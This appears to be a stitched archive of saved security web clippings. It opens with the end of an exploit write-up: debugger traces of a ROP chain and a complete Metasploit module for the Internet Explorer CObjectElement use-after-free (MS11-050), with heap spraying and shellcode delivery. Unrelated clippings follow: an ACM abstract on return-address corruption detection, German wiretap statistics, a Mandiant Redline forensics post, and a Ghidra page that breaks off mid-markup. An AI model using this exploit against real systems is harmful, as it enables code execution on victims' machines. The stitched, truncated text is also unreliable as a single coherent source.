    7c809af3 55              push    ebp
    7c809af4 8bec            mov     ebp,esp
    7c809af6 ff7514          push    dword ptr [ebp+14h]  ss:0023:0c0c0c20=00000040 ; flProtect (rwx)
    7c809af9 ff7510          push    dword ptr [ebp+10h]  ss:0023:0c0c0c1c=00003000 ; flAllocationType (MEM_COMMIT | MEM_RESERVE)
    7c809afc ff750c          push    dword ptr [ebp+0Ch]  ss:0023:0c0c0c18=00004000 ; dwSize
    7c809aff ff7508          push    dword ptr [ebp+8]    ss:0023:0c0c0c14=7f000000 ; lpAddress
    7c809b02 6aff            push    0FFFFFFFFh
    7c809b04 e809000000      call    kernel32!VirtualAllocEx (7c809b12)
    7c809b09 5d              pop     ebp
    7c809b0a c21000          ret     10h                                            ; ret to ntdll!memcpy
[/code]

After the ret to ntdll\!memcpy, the ROP-stack should look like this:

[code]

    mem @ esp:
    0c0c0c24 7f001000 ; 3:nops+shellcode (third ret)
    0c0c0c28 7f001000 ; 2:memcpy:dst
    0c0c0c2c 23000100 ; 2:memcpy:src
    0c0c0c30 00002fff ; 2:memcpy:size
[/code]

ntdll\!memcpy should then copy 0x2fff bytes from 0x23000100 \(should be
nops+shellcode\) to 0x7f001000 \(rwx memory allocated by call to
VirtualAlloc\) and return to the nops+shellcode at 0x7f001000:

[code]

    ntdll!memcpy:
    7c901db3 55              push    ebp
    7c901db4 8bec            mov     ebp,esp
    7c901db6 57              push    edi
    7c901db7 56              push    esi
    7c901db8 8b750c          mov     esi,dword ptr [ebp+0Ch] ss:0023:0c0c0c2c=23000100 ; src
    7c901dbb 8b4d10          mov     ecx,dword ptr [ebp+10h] ss:0023:0c0c0c30=00002fff ; size
    7c901dbe 8b7d08          mov     edi,dword ptr [ebp+8] ss:0023:0c0c0c28=7f001000   ; dst
    ...
    7c901de6 f3a5            rep movs dword ptr es:[edi],dword ptr [esi]               ; copy nops+shellcode to 0x7f001000
    ...
    7c901f4d c9              leave
    7c901f4e c3              ret                                                       ; ret to 7f001000 (nops+shellcode)
[/code]

Below is the metasploit module I've made to exploit this vulnerability. I've
tested it on a 32-bit WinXP SP3 fully patched up to \(not including\) this
month's \(June's\) patches:

[code]

    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
        include Msf::Exploit::Remote::HttpServer::HTML
        include Msf::Exploit::Remote::BrowserAutopwn
        autopwn_info({
            :ua_name    => HttpClients::IE,
            :ua_minver  => "7.0",
            :ua_maxver  => "8.0",
            :javascript => true,
            :os_name    => OperatingSystems::WINDOWS,
            :vuln_test  => nil, 
        })
    
        def initialize(info = {})
            super(update_info(info,
                'Name'           => 'IE mshtml!CObjectElement Use After Free',
                'Description'    => %q{
                    This module exploits a use-after-free vulnerability in Internet Explorer. The vulnerability
                    occurs when an invalid <object> tag exists and other elements overlap/cover where the object
                    tag should be when rendered (due to their styles/positioning). The mshtml!CObjectElement is
                    then freed from memory because it is invalid. However, the mshtml!CDisplay object for the page 
                    continues to keep a reference to the freed <object> and attempts to call a function on it,
                    leading to the use-after-free.
                },
                'Author'         =>
                    [
                        'd0c_s4vage',
                    ],
                'Version'        => 'Version 1.0',
                'References'     =>
                    [
                        ["MSB", "MS11-050"],
                    ],
                'DefaultOptions' =>
                    {
                        'EXITFUNC' => 'thread',
                        'InitialAutoRunScript' => 'migrate -f',
                    },
                'Payload'        =>
                    {
                        'Space'         => 1024,
                        'BadChars'      => "\x00\x09\x0a\x0d'\\",
                        'StackAdjustment' => -3500,
                    },
                'Platform'       => 'win',
                'Targets'        =>
                    [
                        [ 'Automatic', { } ],
    
                        # In IE6 the mshtml!CObjectElement size is 0xac
    
                        [ 'Internet Explorer 7', # 7.0.5730.13
                            {
                                # sizeof(mshtml!CObjectElement)
                                'FreedObjSize' =>  0xb0,
                                'FakeObjCount' => 0x4000,
                                'FakeObjCountKeep' => 0x2000,
                                'ForLoopNumObjects' => 3,
                                'FreedObjOverwritePointer'=>0x0c0c0c0c,
                                'FreedObjOffsetAlignSize'=>0,
                                'ROP' => false,
                            }
                        ],
    
                        [ 'Internet Explorer 8 (no DEP)', # 8.0.6001.18702
                            {
                                # sizeof(mshtml!CObjectElement)
                                'FreedObjSize' =>  0xe0, # 0xdc rounded up
                                'FakeObjCount' => 0x8000,
                                'FakeObjCountKeep' => 0x3000,
                                'ForLoopNumObjects' => 5,
                                'FreedObjOverwritePointer'=>0x0c0c0c0c,
                                'FreedObjOffsetAlignSize'=>0,
                                'ROP' => false,
                            }
                        ],
    
                        [ 'Internet Explorer 8',
                            {
                                'FreedObjSize' =>  0xe0, # 0xdc rounded up
                                'FakeObjCount' => 0x8000,
                                'FakeObjCountKeep' => 0x3000,
                                'ForLoopNumObjects' => 5,
                                'FreedObjOverwritePointer'=>0x0c0c0c0c,
                                'FreedObjOffsetAlignSize'=>2,
                                'StackPivot'=>0x773E3F18, # xchg eax,esp / ret - comctl32.dll
                                'ROP' => true,
                            }
                        ],
    
                        [ 'Debug Target (Crash)',
                            {
                            }
                        ],
                    ],
                'DisclosureDate' => 'June 16 2011',
                'DefaultTarget'  => 0))
        end
    
        def auto_target(cli, request)
            agent = request.headers['User-Agent']
            if agent =~ /MSIE 8\.0/
                mytarget = targets[3] # IE 8
            elsif agent =~ /MSIE 7\.0/
                mytarget = targets[1]
            else
                print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
            end
    
            mytarget
        end
    
        
        # 3/22/2011
        # fully patched x32 WinXP SP3, IE 8.0.6001.18702
        def winxp_sp3_rva
            {
                "kernel32!VirtualAlloc"                => 0x7c809af1,
                "ntdll!memcpy"                        => 0x7c901db3,
            }
        end
    
        def compile_rop(rop_stack)
            rva = winxp_sp3_rva()
            num_random = 0
            rop_stack.map do |rop_val|
                case rop_val
                when String
                    if rop_val == "random"
                        # useful for debugging
                        # num_random += 1
                        # 0xaabbcc00 + num_random
                        rand(0xffffffff)
                    else
                        raise RuntimeError, "Unable to locate key: #{rop_val.inspect}" unless rva[rop_val]
                        rva[rop_val]
                    end
                when Integer
                    rop_val
                else
                    raise RuntimeError, "unknown rop_val: #{rop_val.inspect}, #{rop_val.class}"
                end
            end.pack("V*")
        end
    
        def on_request_uri(cli, request)
            mytarget = target
            if target.name == 'Automatic'
                mytarget = auto_target(cli, request)
                unless mytarget
                    send_not_found(cli)
                    return
                end
            end
            @mytarget = mytarget
            @debug = true if mytarget == targets[4]
    
            return if ((p = regenerate_payload(cli)) == nil)
    
            if @debug
                data = <<-DATA
                    <html>
                        <body>
                            <script language='javascript'>
                                document.body.innerHTML += "<object align='right' hspace='1000'   width='1000'>TAG_1</object>";
                                document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
                                document.body.innerHTML += "AAAAAAA";
                                document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
                            </script>
                        </body>
                    </html>
                DATA
                print_status("Triggering #{self.name} vulnerability at #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
                send_response(cli, data, { 'Content-Type' => 'text/html' })
                return
            end
    
            raw_shellcode = payload.encoded
            shellcode = Rex::Text.to_unescape(raw_shellcode, Rex::Arch.endian(mytarget.arch))
    
            spray = nil
            rop_shellcode_spray = nil
    
            obj_overwrite_ptr = [@mytarget['FreedObjOverwritePointer']].pack("V")
    
            if @mytarget['ROP']
                rop_stack = []
                0x1f.times do |i|
                    rop_stack << "random"
                end
    
                idx = -1
                idx += 1 ; rop_stack[idx] = "kernel32!VirtualAlloc"        # 1:
                idx += 1 ; rop_stack[idx] = "ntdll!memcpy"                # 2:ret 10 to this after VirtualAlloc
                idx += 1 ; rop_stack[idx] = 0x7f000000                    # 1:VirtualAlloc:lpAddress
                idx += 1 ; rop_stack[idx] = 0x4000                        # 1:VirtualAlloc:dwSize
                idx += 1 ; rop_stack[idx] = (0x1000 | 0x2000)            # 1:VirtualAlloc:flAllocationType MEM_COMMIT | MEM_RESERVE
                idx += 1 ; rop_stack[idx] = 0x40                        # 1:VirtualAlloc:flProtect rwx
                idx += 1 ; rop_stack[idx] = 0x7f001000                    # 3:into this after memcpy
                idx += 1 ; rop_stack[idx] = 0x7f001000                    # 2:memcpy:dst
                idx += 1 ; rop_stack[idx] = 0x23000100                    # 2:memcpy:src
                idx += 1 ; rop_stack[idx] = 0x2fff                        # 2:memcpy:size
    
                # align the rest of it
                back = rop_stack.slice!((rop_stack.length-1)-2, rop_stack.length)
                rop_stack = back + rop_stack
    
                rop_stack << @mytarget['StackPivot']
    
                # align the stack for 0c0c0c0c
                front = rop_stack.slice!(0, 19)
                rop_stack = rop_stack + front
    
                # resolve strings in the rop_stack array (kernel32!VirtualAlloc, random, etc)
                rop = compile_rop(rop_stack)
    
                nops = make_nops(0x1000 - raw_shellcode.length)
                nops = Rex::Text.to_unescape(nops, Rex::Arch.endian(mytarget.arch))
    
                rop_shellcode_spray = <<-JS
                    // spray up to 0x23000000
                    var shellcode = unescape("#{shellcode}");
                    var nops = unescape("#{nops}");
                    while(nops.length < 0x1000) nops += nops;
                    var shell_heapblock = nops.substring(0, 0x800-shellcode.length) + shellcode;
                    while(shell_heapblock.length < 0x40000) shell_heapblock += shell_heapblock;
                    shell_finalspray = shell_heapblock.substring(0, (0x20000-6)/2);
                    for(var shell_counter = 0; shell_counter < 0x1000; shell_counter++) { heap_obj.alloc(shell_finalspray); }
                JS
    
                spray = rop
                shellcode = ""
            else
                spray = obj_overwrite_ptr
            end
    
            spray = Rex::Text.to_unescape(spray, Rex::Arch.endian(mytarget.arch))
    
            js = <<-JS
                heap_obj = new heapLib.ie(0x20000);
                var heapspray = unescape("#{spray}");
                while(heapspray.length < 0x1000) heapspray += heapspray;
                var shellcode = unescape("#{shellcode}");
                var heapblock = heapspray.substring(0, (0x800-shellcode.length)) + shellcode;
                var offset = #{[targets[1], targets[2]].include?(@mytarget) ? "0x400" : "0"};
                var front = heapblock.substring(0, offset);
                var end = heapblock.substring(offset);
                heapblock = end + front;
                while(heapblock.length < 0x20000) heapblock += heapblock;
                finalspray = heapblock.substring(0, (0x10000-6)/2);
                for(var counter1 = 0; counter1 < 0x1000; counter1++) { heap_obj.alloc(finalspray); }
    
                #{rop_shellcode_spray}
    
                var obj_overwrite = unescape("#{Rex::Text.to_unescape(obj_overwrite_ptr, Rex::Arch.endian(mytarget.arch))}");
                while(obj_overwrite.length < #{@mytarget['FreedObjSize']}) { obj_overwrite += obj_overwrite; }
                obj_overwrite = obj_overwrite.slice(0, (#{@mytarget['FreedObjSize']}-6)/2);
    
                for(var num_objs_counter = 0; num_objs_counter < #{@mytarget['ForLoopNumObjects']}; num_objs_counter++) {
                    document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
                }
    
                for(var counter4 = 0; counter4 < #{@mytarget['FakeObjCountKeep']}; counter4++) { heap_obj.alloc(obj_overwrite, "keepme1"); }
                for(var counter5 = 0; counter5 < #{@mytarget['FakeObjCountKeep']}; counter5++) { heap_obj.alloc(obj_overwrite, "keepme2"); }
    
                document.body.innerHTML += "<a id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</a>";
                document.body.innerHTML += "AAAA";
                document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
            JS
            opts = {
                'Symbols' => {
                    'Variables' => %w{ heap_obj heapspray shellcode heapblock offset front end finalspray counter1
                                       obj_overwrite counter2 counter3 num_objs_counter counter4 counter5
                                       nops shell_heapblock shell_finalspray shell_counter
                                       fill_free_objs freeme keepme1 keepme2 },
                    'Methods' => %w{  }
                }
            }
            js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
            # js.obfuscate()
            js = heaplib(js)
    
            html = <<-HTML
                <html>
                    <body>
                        <script language='javascript'>
                        #{js}
                        </script>
                    </body>
                </html>
            HTML
    
            print_status("Sending exploit for #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...")
    
            send_response(cli, html, {'Content-Type'=>'text/html'})
        end
    end
    
[/code]

Laters

# Dynamic code instrumentation to detect and recover from return address
corruption

**Created:**| _9/25/2009 9:00:11 PM_  
---|---  
**Updated:**| _9/25/2009 9:14:44 PM_  
**Author:**| __  
**Tags:**| _bookmark papers_  
  

| <img src='img/Temp2_2475.jpg' width='263' height='54' alt='ACM Portal' />| |  | Subscribe \(Full Service\) | Register \(Limited Service, Free\) | Login  
---|---|---|---  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
---  
| **Search:** The ACM Digital Library The Guide  
  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
---  
<img src='img/Temp2_2481.jpg' width='350' height='25' />| <img
src='img/Temp2_2479.jpg' width='20' height='19' alt='Please provide us with
feedback.' /> Feedback  
---|---  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
| **Dynamic code instrumentation to detect and recover from return address
corruption**  
---  
**Full text**| <img src='img/Temp2_2473.jpg' alt='Pdf' /> Pdf \(215 KB\)  
  
**Source**|  International Conference on Software Engineering archive  
Proceedings of the 2006 international workshop on Dynamic systems analysis
table of contents  
Shanghai, China SESSION: Security and optimization table of contents  
Pages: 65 - 72 Year of Publication: 2006 ISBN:1-59593-400-6  
**Authors**| | Suhas Gupta|  IIT, Delhi, India  
---|---  
Pranay Pratap|  IIT, Delhi, India  
Huzur Saran|  IIT, Delhi, India  
S. Arun-Kumar|  IIT, Delhi, India  
**Sponsors**| ACM: Association for Computing Machinery  
SIGSOFT: ACM Special Interest Group on Software Engineering  
  
**Publisher**| ACM New York, NY, USA  
**Bibliometrics**|  Downloads \(6 Weeks\): 5, Downloads \(12 Months\): 73,
Citation Count: 1  
| <img src='img/Temp2_2472.jpg' width='1' height='1' />  
---  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
| **Additional Information:**| abstract references cited by index terms
collaborative colleagues  
---|---  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
| **Tools and Actions:**| Review this Article Save this Article to a
Binder<img src='img/Temp2_2472.jpg' /> Display Formats: BibTeX EndNote ACM Ref  
---|---  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
**DOI Bookmark:**|  Use this link to bookmark this Article:
http://doi.acm.org/10.1145/1138912.1138926  
What is a DOI?  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
<img src='img/Temp2_2472.jpg' width='1' height='1' />  
  

<img src='img/Temp2_2478.jpg' />ABSTRACT

Return address corruption on the stack using buffer overflow attacks is one of
the most common ways in which the security of a system can be compromised.
This paper provides a way of detecting return address corruption on the stack
using dynamic code instrumentation. The detection is done at run-time and it
does not depend on the availability of source code of the vulnerable
application. The approach we are presenting is not limited only to buffer
overflows, rather it can handle any kind of return address corruption.
Furthermore, cases in which recovery from stack corruption is possible and the
mechanisms for recovery in such cases have also been discussed.

  

<img src='img/Temp2_2478.jpg' />REFERENCES

Note: OCR errors may be found in this Reference List extracted from the full
text article. ACM has opted to expose the complete List rather than only
correct and linked references.

| 1 | Stack shield : A stack smashing technique protection tool for linux. http://www.angelfire.com/sk/stackshield.   
---|---|---  
| 2 | Buffer overflow in Windows URLMON.DLL http://jouko.iki.fi/adv/urlmon.html  
<img src='img/Temp2_2480.jpg' width='25' height='24' />| 3 | Vasanth Bala , Evelyn Duesterwald , Sanjeev Banerjia, Dynamo: a transparent dynamic optimization system, ACM SIGPLAN Notices, v.35 n.5, p.1-12, May 2000  
| 4 | A. Baratloo, N. Singh, and T. Tsai. Transparent run-time defense against stack smashing attacks. In Proceedings of the USENIX Annual Technical Conference, 2000.   
| 5 | Bulba and Kil3r. Bypassing stackguard and stack shield. Phrack Magazine, 2000.   
| 6 | C. Cowan, C. Pu, D. Maier, J. Walpole, P. Bakke, S. Beattie, A. Grier, P. Wagle, Q. Zhang, and H. Hinton. StackGuard: Automatic adaptive detection and prevention of buffer-overflow attacks. In Proceedings of the 7th USENIX Security Conference, pages 63--78, San Antonio, Texas, Jan 1998.   
| 7 | G. Hunt and D. Brubacher. Detours: Binary interception of win32 functions. In Proceedings of the 3rd USENIX Windows NT Symposium, 1999.   
| 8 | Vladimir Kiriansky , Derek Bruening , Saman P. Amarasinghe, Secure Execution via Program Shepherding, Proceedings of the 11th USENIX Security Symposium, p.191-206, August 05-09, 2002  
| 9 | Nergal. The advanced return-into-lib\(c\) exploits: PaX case study. Phrack Magazine, 11\(58\), Dec 2001.   
| 10 | A. One. Smashing the stack for fun and profit. Phrack Magazine, 1998.   
| 11 | M. Prasad and T. Chiueh. A binary rewriting defense against stack based buffer overflow attacks. In Proceedings of the 2003 Usenix Annual Technical Conference, Jun 2003.   
| 12 | V. Reddi, A. Settle, D. Connors, and R. Cohn. Pin: A binary instrumentation tool for computer architecture research and education. In Proceedings of the Workshop on Computer Architecture, 2004.   
| 13 | Kevin Scott , Jack Davidson, Strata: A Software Dynamic Translation Infrastructure, University of Virginia, Charlottesville, VA, 2001  
  

<img src='img/Temp2_2478.jpg' />CITED BY<img src='img/Temp2_2480.jpg'
width='25' height='24' />| Ryan W. Moore , José A. Baiocchi , Bruce R.
Childers , Jack W. Davidson , Jason D. Hiser, Addressing the challenges of DBT
for the ARM architecture, ACM SIGPLAN Notices, v.44 n.7, July 2009  
---|---  
  

<img src='img/Temp2_2478.jpg' />INDEX TERMS

Primary Classification:  
**D.** Software  
<img src='img/Temp2_2471.jpg' width='20' height='20' /> **D.2** SOFTWARE
ENGINEERING  
<img src='img/Temp2_2471.jpg' width='20' height='20' /> **D.2.5** Testing and
Debugging  
<img src='img/Temp2_2471.jpg' width='20' height='20' /> **Subjects:** Code
inspections and walk-throughs  

Additional Classification:  
**D.** Software  
<img src='img/Temp2_2471.jpg' width='20' height='20' /> **D.2** SOFTWARE
ENGINEERING  
<img src='img/Temp2_2471.jpg' width='20' height='20' /> **D.2.5** Testing and
Debugging  
<img src='img/Temp2_2471.jpg' width='20' height='20' /> **Subjects:** Error
handling and recovery  

  

General Terms:  
Experimentation, Security

  

Keywords:  
buffer overflows, dynamic code instrumentation, return address corruption

<img src='img/Temp2_2478.jpg' />Collaborative Colleagues:Suhas Gupta:
colleagues  
---  
Pranay Pratap: colleagues  
Huzur Saran: colleagues  
S. Arun-Kumar: colleagues  
  

The ACM Portal is published by the Association for Computing Machinery.
Copyright © 2009 ACM, Inc.  
Terms of Usage Privacy Policy Code of Ethics Contact Us  
  
Useful downloads: <img src='img/Temp2_2473.jpg' width='16' height='16' />
Adobe Acrobat <img src='img/Temp2_2474.jpg' width='16' height='16' />
QuickTime <img src='img/Temp2_2477.jpg' width='16' height='15' /> Windows
Media Player <img src='img/Temp2_2476.jpg' width='20' height='18' /> Real
Player

# BfJ Telekommunikationsüberwachung

**Created:**| _6/9/2011 6:53:37 PM_  
---|---  
**Updated:**| _6/9/2011 6:53:45 PM_  
**Author:**| __  
**Tags:**| _policies intelligence_  
  

# Telekommunikationsüberwachung

Die Telefonüberwachungsstatistik enthält die Anzahl der nach den Mitteilungen
der Landesjustizverwaltungen und des Generalbundesanwalts in den Ländern und
im Geschäftsbereich des Generalbundesanwalts seit dem Jahr 2000 nach §§ 100 a,
100 b Strafprozessordnung angeordneten
Telekommunikationsüberwachungsmaßnahmen. Außerdem kann den Jahresübersichten
entnommen werden, aufgrund welcher einzelnen Katalogtat des § 100 a
Strafprozessordnung, die Überwachungen angeordnet wurden.

Mit dem Inkrafttreten des Gesetzes zur Neuregelung der
Telekommunikationsüberwachung und anderer verdeckter Ermittlungsmaßnahmen
sowie zur Umsetzung der Richtlinie 2006/24/EG zum 1. Januar 2008 sind auch
gesetzliche Regelungen zur Erhebung statistischer Daten zu Maßnahmen nach §
100a StPO \(Telekommunikatiosnüberwachung\) und § 100g StPO \(Erhebung von
Telekommunikationsverkehrsdaten\) getroffen worden \(vgl. § 100b Abs. 5 und 6,
§ 100g Abs. 4 StPO\). Die Statistik zu § 100a StPO enthält daher teilweise
andere Angaben als in den Vorjahren; die Statistik zu § 100g StPO ist erstmals
für das Berichtsjahr 2008 erstellt worden; Daten zu früheren Jahren liegen
nicht vor.

#### Dokumente

  * Übersicht TKÜ 2009 _\(pdf, 335 KB\)_
  * Übersicht Verkehrsdatenüberwachung 2009 _\(pdf, 133 KB\)_
  * Übersicht TKÜ 2008 _\(pdf, 339 KB\)_
  * Übersicht Verkehrsdatenüberwachung 2008 _\(pdf, 147 KB\)_
  * Übersicht TKÜ 2007 _\(pdf, 18 KB\)_
  * Übersicht TKÜ 2006 _\(pdf, 135 KB\)_
  * Übersicht TKÜ 2005 _\(pdf, 13 KB\)_
  * Übersicht TKÜ 2004 _\(pdf, 13 KB\)_
  * Übersicht TKÜ 2003 _\(pdf, 14 KB\)_
  * Übersicht TKÜ 2002 _\(pdf, 14 KB\)_
  * Übersicht TKÜ 2001 _\(pdf, 14 KB\)_
  * Übersicht TKÜ 2000 _\(pdf, 14 KB\)_

# M-unition » Blog Archive » Redline 1.1 Released

**Created:**| _12/6/2011 10:00:42 AM_  
---|---  
**Updated:**| _12/16/2011 4:41:23 PM_  
**Author:**| __  
**Tags:**| _Memory forensics_  
  

  * 

### Redline 1.1 Released

Written by Ryan Kazanciyan

Six months ago, MANDIANT released Redline as a free tool designed to simplify
memory analysis and visually guide users through the steps needed to
investigate a potentially compromised system. Today, we’re pleased to announce
the release of Redline Version 1.1 with some exciting new features and
enhancements. We’ve taken some of the “power-user” functions previously only
available by hacking Memoryze’s XML configuration files and integrated them
into the Redline interface and workflow. We’ve also been able to add new
features based on some great user feedback we’ve received from the Mandiant
Forums, students in our incident response classes and elsewhere. Redline 1.1
will also be the first version to include complete user documentation \(which
we are still putting the finishing touches on\).

We’re going to stick to the basics for this blog post, and look at how you can
incorporate the following new Redline features into your investigative
processes:

  * Portable Agent mode
  * Memory, Process, and Driver acquisition
  * Customizing Malware Risk Index scoring

**Portable Agent**

You can now use Redline to build a customized memory analysis toolkit on a USB
drive or other portable device – perfect for simple “fire and forget” live
response review of a potentially compromised host. After launching Redline,
click on the big “R” menu icon in the top-left, and select the “Create a
Portable Agent” option as shown in Figure 1.

<img src='img/Temp2_4986.png' width='237' height='300' />

Figure 1: "Create a Portable Agent" menu option

You will be prompted to select your audit options and choose a target drive on
which the portable agent will be saved.

<img src='img/Temp2_4980.png' width='300' height='206' />

Figure 2: Portable Agent Audit Configuration

The generated files include all the binaries and dependencies needed to run
Redline on any supported 32 or 64-bit OS, along with a brief “Readme.txt” to
remind you of what’s what. Simply insert your portable agent drive into the
target system and execute “RunRedlineAudit.bat”. Redline will load your
previously selected configuration, auto-detect the current host operating
system and collect audit data onto the same drive from which you launched the
script. Typical analysis results will be under 100MB \(excluding an acquired
memory image – more on that in a bit\).

<img src='img/Temp2_4984.png' width='300' height='154' />

Figure 3: Portable Redline Agent

Once you have collected results from the target machine, you can bring them
back to your analysis host and import into Redline using the “Start a New
Analysis Session – From a Memoryze Output Directory” startup option.

**Memory, Process and Driver Acquisition**

In its default configuration, Redline conducts memory _analysis_ but not
_acquisition_ – the distinction being that the Redline’s output files contain
all of the metadata related to processes, memory sections, handles, hooks,
drivers, etc. but not the actual contents of memory. In Redline 1.1, we’ve
added the ability to include memory acquisition as an audit option when either
analyzing the current running system or building a portable agent. The
resulting audit will include a standard DD memory image, saved as a “.img”
file, that will be compatible with most other 3rd party memory forensics
tools.

<img src='img/Temp2_4987.png' width='300' height='206' />

Figure 4: "Acquire Memory Image" is a new Custom Audit option

One of the benefits of retaining a memory image along with the Redline
analysis files is the ability to do offline acquisition of a process’ memory
space and / or loaded drivers. This functionality was previously available
only via the Memoryze command-line, but is now fully integrated into Redline’s
user interface.

Let’s walk through a simple example of how you might use this feature:

Figure 5 illustrates a Redline analysis session of a host infected with
Stuxnet malware. The process overview page for “lsass.exe”, PID 1928, is
displayed – it has been “redlined” due to a high Malware Risk Index score of
93.

<img src='img/Temp2_4983.png' width='300' height='225' />

Figure 5: Memory image infected with Stuxnet

As we’ve discussed in previous blog posts, Stuxnet suspends and unmaps the
“lsass.exe” section and injects a full binary into the process – both
characteristics result in the high MRI score. If we look at the “Memory
Sections” listing underneath the process, we can sort on the “Injected” column
to take a closer look at the three sections of interest, paying note to the
“Region Start” and “Region Size”.

<img src='img/Temp2_4977.png' width='300' height='159' />

Figure 6: Reviewing injected sections

The next analysis step, especially if we were dealing with unknown malware,
would be to acquire the process memory space for this instance of “lsass.exe”
and review the contents of the injected sections. Returning to the process
overview page, you’ll note that you can now select “Acquire Process Address
Space” \(you can also right-click on the process you want to acquire in the
Host process listing view\).

<img src='img/Temp2_4979.png' width='300' height='124' />

Figure 7: New "Acquire Process Address Space" option

Redline will acquire the entire contents of the process’ memory space. Mapped
sections will be represented by their full path and original filename;
unmapped sections \(such as the injected ones we’re interested in\) are saved
as “.VAD” files named after the region start address.

<img src='img/Temp2_4978.png' width='300' height='124' />

Figure 8: Acquired contents of "lsass.exe" process memory space

In the Stuxnet example, one of the injected “lsass.exe” sections was 1.219 MB
with region start 0×00870000 – the corresponding file from the acquisition is
“1928\_\_SystemMemory%5c0x00870000-0x009a7fff.VAD”. A quick peek at the file
in a hex editor confirms that it is a full PE file \(rather than just
shellcode, for example\), and we could thereby proceed with malware analysis
against this sample.

<img src='img/Temp2_4982.png' width='300' height='107' />

Figure 9: Excerpt of Stuxnet injected PE in "lsass.exe" memory

Redline will automatically archive the entire process’ memory space into a
password protected ZIP file. This helps ensure you don’t accidentally infect
yourself and helps keep anti-virus from eating any of the files. The
“Acquisition History” menu in the big “R” toolbar tracks your acquisitions,
shows the path to your acquired files, and lets you edit these options. You
can also always review your audit and memory image locations in the “Analysis
Session Information” menu as shown in Figure 10.

<img src='img/Temp2_4981.png' width='248' height='300' />

Figure 10: Analysis Session Information

Acquisition isn’t just limited to Process Memory – you can also acquire
drivers if you’ve collected a memory image with Redline. Simply right-click on
the driver in the “Device Tree” or “Drivers Enumerated by Walking List” and
select “Acquire this Driver” as shown in Figure 11. Once again, all these
acquisitions can be performed using only the memory image and Redline audit
data – you don’t need to be on the running machine from which the acquisition
took place.

<img src='img/Temp2_4976.png' width='300' height='136' />

Figure 11: Acquiring Drivers - right-click menu

**  
Customizing Malware Risk Index Scoring**

Redline’s Malware Risk Index uses a combination of behavioral and signature-
based traits to assign a score to each running process \(when reviewing memory
analyzed by Redline, Memoryze or MIR\). Although MRI scoring is designed to
make malicious processes stand out, the countless combinations of operating
system configurations and 3rd party application characteristics can result in
false positives or false negatives. Since Redline is first and foremost a tool
to facilitate analysis rather than a signature-based scanner, we’ve chosen to
make it easier for users to edit the MRI rules so that you can better tune
Redline to the systems in your environment or areas of focus for an
investigation.

The “Redline Options” button, available in the “R” menu, has a new section
labeled “MRI Rules Configuration” where all of these settings are exposed as
shown in Figure 12. Here you can tweak whitelist and blacklist settings for
the various MRI Rules, as well as adjust global settings such as the frequency
of occurrence threshold used for memory section trust calculations.

<img src='img/Temp2_4985.png' width='300' height='225' />

Figure 12: MRI Options

A few examples of situations that might lead you to change these rules
include:

  * You wish to exclude legitimate but not digitally signed DLLs from third party applications common to your environment from being flagged under “Suspicious Imports”. For example, my version of VMWare loads unsigned but valid versions of “msvcp80.dll” and “msvcr80.dll”. Due to their low frequency of occurrence and lack of digital signatures, these DLLs will be scored under Negative Factors. Instead of manually trusting these modules each time I open a Redline analysis session, I can change the “Suspicious Imports” setting to always trust them.
  * You have foreign language installations of Windows and want to whitelist the non-English equivalents of built-in accounts \(such as “Administrator” or “NetworkService”\) under “Expected Users”. The same can occur for “Expected Paths” that are translated differently on non-English systems. \(Whitelisting some of the more common translations is on our to-do list\!\)
  * A malware sample that you have identified and analyzed in your environment has a unique combination of imported functions, or a unique process handle \(such as a mutant\), that you want flagged as an automatic MRI “hit”. \(We included a handful of common mutants for malware like Poison Ivy and Zeus as basic examples\).
  * You have third party application common in your environment running as a Windows service, and you would like to whitelist its arguments to “svchost.exe” \(i.e. “svchost -k TrustedService”\).
  * You would like to add or remove trusted signature authorities that Redline uses when evaluating digital signatures.

Note that any changes to MRI rules will result in MRI scores for all processes
in both the current session and future sessions to be recalculated.

**Conclusion**

We hope that this update to Redline makes it easier than ever for you to
triage a system and conduct memory analysis. Please be sure to check out the
new user documentation for more details on these added features, and drop by
the Redline section of our Mandiant Forums if you have any questions or
feedback\!

Also, keep an eye out for an upcoming blog post where we’ll detail how you can
use Redline with our recently released OpenIOC schema and tools\!

# Microsoft Patch Analysis for Exploitation

**Created:**| _5/7/2017 10:24:52 AM_  
---|---  
**Updated:**| _5/7/2017 10:25:47 AM_  
**Author:**| __  
**Tags:**| _bin-diffing patch-based_  
  

  
<img src='img/Sims_Patch_Diff_BSides_Baltimore.pdf' />  

# JeremyBlackthorne/Ghidra-Keybindings

**Created:**| _5/10/2019 8:32:31 AM_  
---|---  
**Updated:**| _5/10/2019 8:32:31 AM_  
**Author:**| __  
**Tags:**| _iDA ghidra_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='51'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
